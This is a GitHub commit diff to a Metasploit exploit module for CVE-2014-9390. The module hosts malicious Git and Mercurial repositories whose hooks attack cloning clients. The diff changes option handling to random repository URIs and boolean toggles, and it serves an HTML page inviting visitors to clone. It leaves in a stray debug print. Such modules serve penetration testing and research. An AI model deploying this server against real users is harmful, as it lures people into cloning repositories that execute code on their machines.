Skip to content

Commit 8e57688

Browse files
committed
Use random URIs by default, different method for enabling/disabling Git/Mercurial
1 parent bd3dc8a commit 8e57688

File tree

1 file changed

+39
-21
lines changed

1 file changed

+39
-21
lines changed

modules/exploits/multi/http/cve_2014_9390.rb

Lines changed: 39 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -83,14 +83,16 @@ def initialize(info = {})
8383

8484
register_options(
8585
[
86-
OptString.new('GIT_URI', [false, 'The URI to use as the malicious Git instance (empty to disable)', '/git']),
87-
OptString.new('MERCURIAL_URI', [false, 'The URI to use as the malicious Mercurial instance (empty to disable)', '']),
88-
OptString.new('URIPATH', [true, 'The URI to display the malicious repositories in', '/'])
86+
OptBool.new('GIT', [true, 'Exploit Git clients', true]),
87+
OptBool.new('MERCURIAL', [true, 'Exploit Mercurial clients', false]),
88+
#OptString.new('URIPATH', [true, 'The URI to display the malicious repositories in', '/'])
8989
]
9090
)
9191

9292
register_advanced_options(
9393
[
94+
OptString.new('GIT_URI', [false, 'The URI to use as the malicious Git instance (empty for random)', '']),
95+
OptString.new('MERCURIAL_URI', [false, 'The URI to use as the malicious Mercurial instance (empty for random)', '']),
9496
OptString.new('GIT_HOOK', [false, 'The Git hook to use for exploitation', 'post-checkout']),
9597
OptString.new('MERCURIAL_HOOK', [false, 'The Mercurial hook to use for exploitation', 'update'])
9698
]
@@ -102,18 +104,21 @@ def setup
102104
git: { files: {}, trigger: nil },
103105
mercurial: { files: {}, trigger: nil }
104106
}
105-
if git_uri.blank? && mercurial_uri.blank?
106-
fail_with(Exploit::Failure::BadConfig, 'Must specify at least one non-blank GIT_URI or MERCURIAL_URI')
107+
108+
unless datastore['GIT'] || datastore['MERCURIAL']
109+
fail_with(Exploit::Failure::BadConfig, 'Must specify at least one GIT and/or MERCURIAL')
107110
end
108-
setup_git unless git_uri.blank?
109-
setup_mercurial unless mercurial_uri.blank?
111+
setup_git
112+
setup_mercurial
110113

111114
super
112115
end
113116

114117
def setup_git
118+
return unless datastore['GIT']
115119
# URI must start with a /
116-
unless git_uri =~ /^\//
120+
puts "FOOO #{git_uri}"
121+
unless git_uri && git_uri =~ /^\//
117122
fail_with(Exploit::Failure::BadConfig, 'GIT_URI must start with a /')
118123
end
119124
# sanity check the malicious hook:
@@ -194,8 +199,9 @@ def setup_git
194199
end
195200

196201
def setup_mercurial
202+
return unless datastore['MERCURIAL']
197203
# URI must start with a /
198-
unless mercurial_uri =~ /^\//
204+
unless mercurial_uri && mercurial_uri =~ /^\//
199205
fail_with(Exploit::Failure::BadConfig, 'MERCURIAL_URI must start with a /')
200206
end
201207
# sanity check the malicious hook
@@ -232,18 +238,18 @@ def exploit
232238

233239
def primer
234240
# add the git and mercurial URIs as necessary
235-
hardcoded_uripath(git_uri) unless git_uri.blank?
236-
hardcoded_uripath(mercurial_uri) unless mercurial_uri.blank?
241+
hardcoded_uripath(git_uri) if datastore['GIT']
242+
hardcoded_uripath(mercurial_uri) if datastore['MERCURIAL']
237243
end
238244

239245
def on_request_uri(cli, req)
240246
# if the URI is one of our repositories and the user-agent is that of git/mercurial
241247
# send back the appropriate data, otherwise just show the HTML version
242248
if (user_agent = req.headers['User-Agent'])
243-
if user_agent =~ /^git\// && req.uri.start_with?(git_uri) && !git_uri.blank?
249+
if datastore['GIT'] && user_agent =~ /^git\// && req.uri.start_with?(git_uri)
244250
do_git(cli, req)
245251
return
246-
elsif user_agent =~ /^mercurial\// && req.uri.start_with?(mercurial_uri) && !mercurial_uri.blank?
252+
elsif datastore['MERCURIAL'] && user_agent =~ /^mercurial\// && req.uri.start_with?(mercurial_uri)
247253
do_mercurial(cli, req)
248254
return
249255
end
@@ -282,18 +288,18 @@ def do_html(cli, _req)
282288
<ul>
283289
HTML
284290

285-
if git_uri.blank?
286-
resp.body << "<li><a>Git</a> (currently offline)</li>"
287-
else
291+
if datastore['GIT']
288292
this_git_uri = URI.parse(get_uri).merge(git_uri)
289293
resp.body << "<li><a href=#{git_uri}>Git</a> (clone with `git clone #{this_git_uri}`)</li>"
294+
else
295+
resp.body << "<li><a>Git</a> (currently offline)</li>"
290296
end
291297

292-
if mercurial_uri.blank?
293-
resp.body << "<li><a>Mercurial</a> (currently offline)</li>"
294-
else
298+
if datastore['MERCURIAL']
295299
this_mercurial_uri = URI.parse(get_uri).merge(mercurial_uri)
296300
resp.body << "<li><a href=#{mercurial_uri}>Mercurial</a> (clone with `hg clone #{this_mercurial_uri}`)</li>"
301+
else
302+
resp.body << "<li><a>Mercurial</a> (currently offline)</li>"
297303
end
298304
resp.body << <<HTML
299305
</ul>
@@ -327,11 +333,23 @@ def do_mercurial(cli, req)
327333
end
328334
end
329335

336+
# Returns the value of GIT_URI if not blank, otherwise returns a random .git URI
330337
def git_uri
331-
datastore['GIT_URI']
338+
return @git_uri if @git_uri
339+
if datastore['GIT_URI'].blank?
340+
@git_uri = '/' + Rex::Text.rand_text_alpha(rand(10) + 2).downcase + '.git'
341+
else
342+
@git_uri = datastore['GIT_URI']
343+
end
332344
end
333345

346+
# Returns the value of MERCURIAL_URI if not blank, otherwise returns a random URI
334347
def mercurial_uri
335-
datastore['MERCURIAL_URI']
348+
return @mercurial_uri if @mercurial_uri
349+
if datastore['MERCURIAL_URI'].blank?
350+
@mercurial_uri = '/' + Rex::Text.rand_text_alpha(rand(10) + 6).downcase
351+
else
352+
@mercurial_uri = datastore['MERCURIAL_URI']
353+
end
336354
end
337355
end

0 commit comments

Comments
 (0)